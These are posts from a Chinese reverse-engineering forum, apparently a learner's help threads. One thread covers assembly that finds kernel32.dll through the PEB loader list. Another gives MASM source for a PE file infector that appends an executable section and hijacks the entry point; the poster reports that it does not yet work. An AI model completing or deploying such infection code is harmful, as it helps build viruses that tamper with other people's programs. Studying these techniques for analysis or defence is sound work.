|
[求助]使用TEB中获取kernel地址的疑问?
我来说下我的理解吧: push ebp xor ecx,ecx mov esi,fs:0x30 ;PEB的地址 mov esi, [esi + 0x0C] ;Ldr的地址 mov esi, [esi + 0x10] ;获取InLoadOrderModuleList.Flink next_module: ;add esi, 0x08; mov ebp, [esi + 0x08] ;获取kernel32.dll地址 mov edi, [esi + 0x20] ;获取kernel32.dll名称地址 mov esi, [esi + 4]; cmp [edi + 12*2],cl ;判断是否为kernel32.dll(这句我没看明白,edi + 12*2是什么?) jne next_module mov edi,ebp ;BaseAddr of Kernel32.dll pop ebp mov esi, [esi + 0x10] 这句应该是直接指向了_LDR_MOUDLE这个结构的InLoadOrderModuleList 然后+0x8获取了baseAddress 接着使用mov edi, [esi + 0x20]这句,+0x20就是获取dll字符串的地址了, 12*2就获取了字符串的长度,是否和kernel32.dll的是否一样长 对了,还问一下,像这样定义的结构在,可以在哪里获取到这些结构的定义了??? 如果可以的话,是否可以交换下 先吃个饭,等会聊 3Q |
|
[求助]使用TEB中获取kernel地址的疑问?
哦,baseDllName还有一层结构的,所以才这样的,3Q |
|
[求助]使用TEB中获取kernel地址的疑问?
cmp [edi + 12*2],cl ;判断是否为kernel32.dll(这句我没看明白,edi + 12*2是什么?) 这个地方我理解是edi是获取了kernel32.dll这个字符串的地址,然后[edi+12*2]测试这个串的末尾是否是空的,也就是长度是否是12字符,这里使用(unicode编码,2个字节表示1个字符) 对了楼上的 +0x18是地址这个我理解 但是+0x30是dll地址,这个我就不理解了,+0x24才对吧?fulldllname |
|
[求助]标号中定义变量是否有作用域的问题???
问题以解决,是/section:text,erw 开始也是手工link的,后来是用MasmEd这个工具可以添加选项修改 问一句,jmp [hostEntry],为什么这样做? 和我开始的一样吧,只是这里是感染文件中的hostEntry的定位? VStart: call abc abc: pop ebp sub ebp,offset abc xor eax,eax add eax,[ebp+hostEntry] jmp [hostEntry] hostEntry dd ? VEnd: 这事我修改后的代码,还是不行的。应该还是代码段不可写的原因 需要/section:text,erw 对于hackerlzc说的另一种方法:使用VirtualProtect这个函数 找了下别人的代码,始终报错,好像是地址是无效的,就没有他深入了。 现在使用的还是/section:.text,erw |
|
[求助]标号中定义变量是否有作用域的问题???
我使用的事masmplus请问连接器在什么位置修改??? |
|
[求助]标号中定义变量是否有作用域的问题???
.386 .model flat,stdcall option casemap:none include include.asm ;########## InfectFile proto :dword ;######### .data caption db '标题',0 text db '内容',0 .code ;###############插入代码############################ VStart: call abc abc: pop ebp sub ebp,offset abc xor eax,eax ;add eax,[ebp+HostEntry] lea eax,offset hostentry jmp [eax] HostEntry dd ? VEnd: ;###################################################### filename db "G:\testDir\Test.exe" ;添加目标文件 write db 0 ;################添加节的操作过程########################### InfectFile proc _filename:dword local hFile local hMapping local pMapping local @dwAddCodeFile local @dwAddCodeBase local @dwEntry ;#######################打开文件########################################################## invoke CreateFile,_filename,\ GENERIC_READ+GENERIC_WRITE,\ FILE_SHARE_READ+FILE_SHARE_WRITE,\ NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL .if eax == INVALID_HANDLE_VALUE jmp exit2 .endif mov hFile,eax invoke CreateFileMapping,hFile,NULL,PAGE_READWRITE,0,0,0 mov hMapping,eax invoke MapViewOfFile,hMapping,FILE_MAP_READ+FILE_MAP_WRITE,0,0,0 mov pMapping,eax ;########################找到pe头######################################################### mov esi,eax assume esi:ptr IMAGE_DOS_HEADER cmp word ptr [esi],IMAGE_DOS_SIGNATURE jnz Exit add esi,[esi].e_lfanew assume esi:ptr IMAGE_NT_HEADERS cmp dword ptr [esi],IMAGE_NT_SIGNATURE jnz Exit ;#######################添加新节########################################################## mov eax,[esi].OptionalHeader.AddressOfEntryPoint add eax,[esi].OptionalHeader.ImageBase mov HostEntry,eax ;保存原程序入口地址 ;判断是否能够有空间插入新节 movzx eax,[esi].FileHeader.NumberOfSections mov ecx,sizeof IMAGE_SECTION_HEADER mul ecx add eax,sizeof IMAGE_NT_HEADERS add eax,esi mov edi,eax add eax,sizeof IMAGE_SECTION_HEADER sub eax,pMapping cmp eax,[esi].OptionalHeader.SizeOfHeaders ja Exit ;添加新节,edi为新节 inc [esi].FileHeader.NumberOfSections mov ebx,edi sub ebx,28h assume edi:ptr IMAGE_SECTION_HEADER ;新节 assume ebx:ptr IMAGE_SECTION_HEADER ;旧节 mov dword ptr[edi],'fh.' ;######################################################### ;VirtualSize等于插入代码按SectionAlignment值对齐 push offset VEnd-offset VStart pop [edi].Misc.VirtualSize ;SizeOfRawData=插入代码长度按FileAlignment值对齐 mov eax,[edi].Misc.VirtualSize mov ecx,[esi].OptionalHeader.FileAlignment div ecx inc eax mul ecx mov [edi].SizeOfRawData,eax ;PointerToRawData mov eax,[ebx].PointerToRawData ;上一节的PointerToRawData add eax,[ebx].SizeOfRawData ;上一节的SizeOfRawData mov [edi].PointerToRawData,eax ;PointerToRawData=前两个值相加 mov [edi].Characteristics,0E0000020h ;节属性设置为可读可写可执行 ;AddressOfEntryPoint,使新节可以正确加载并首先执行 mov eax,[ebx].Misc.VirtualSize mov ecx,[esi].OptionalHeader.SectionAlignment div ecx inc eax mul ecx add eax,[ebx].VirtualAddress mov [edi].VirtualAddress,eax ;############修改入口地址################################################ push [edi].VirtualAddress pop [esi].OptionalHeader.AddressOfEntryPoint ;更新SizeOfImage mov eax,[edi].Misc.VirtualSize mov ecx,[esi].OptionalHeader.SectionAlignment div ecx inc eax mul ecx add eax,[esi].OptionalHeader.SizeOfImage mov [esi].OptionalHeader.SizeOfImage,eax ;写入新节 invoke SetFilePointer,hFile,0,0,FILE_END invoke WriteFile,hFile,offset VStart,[edi].SizeOfRawData,offset write,0 ;########################结束############################################################# Exit: invoke UnmapViewOfFile,pMapping invoke CloseHandle,hMapping exit2: invoke CloseHandle,hFile ret InfectFile endp start: invoke InfectFile,offset filename invoke ExitProcess,NULL end start 是改成这样么? 但是还是无法执行哦。。。。。 还有开始说的那个页不可写,需要在什么地方修改么? |
|
[求助]标号中定义变量是否有作用域的问题???
[QUOTE=hackerlzc;973796]试下:jmp [hostentry] 或者 lea eax,offset hostentry jmp [eax][/QUOTE] 如果hostentry是不可写的,那我开始对对hostentry就报错了,jmp [hostentry] 应该是没有意义的吧???? |
|
[求助]标号中定义变量是否有作用域的问题???
[QUOTE=hackerlzc;973765]1,hostentry是代码段里的地址,不是栈地址。在[ebp+hostentry]中,明显ebp+hostentry指向无效地址了。(hostentry不是相对ebp的偏移)。 2,在代码段标号里定义变量,这些变量可访问,原则上讲不可写。改变相应页属性后才可写。[/QUOTE] 这个基本上算是明白了,但是如果我需要这里需要获得这个原始的入口地址并跳转该如何操作呢??? |
操作理由
RANk
{{ user_info.golds == '' ? 0 : user_info.golds }}
雪币
{{ experience }}
课程经验
{{ score }}
学习收益
{{study_duration_fmt}}
学习时长
基本信息
荣誉称号:
{{ honorary_title }}
能力排名:
No.{{ rank_num }}
等 级:
LV{{ rank_lv-100 }}
活跃值:
在线值:
浏览人数:{{ visits }}
最近活跃:{{ last_active_time }}
注册时间:{{ user_info.create_date_jsonfmt }}
勋章
兑换勋章
证书
证书查询 >
能力值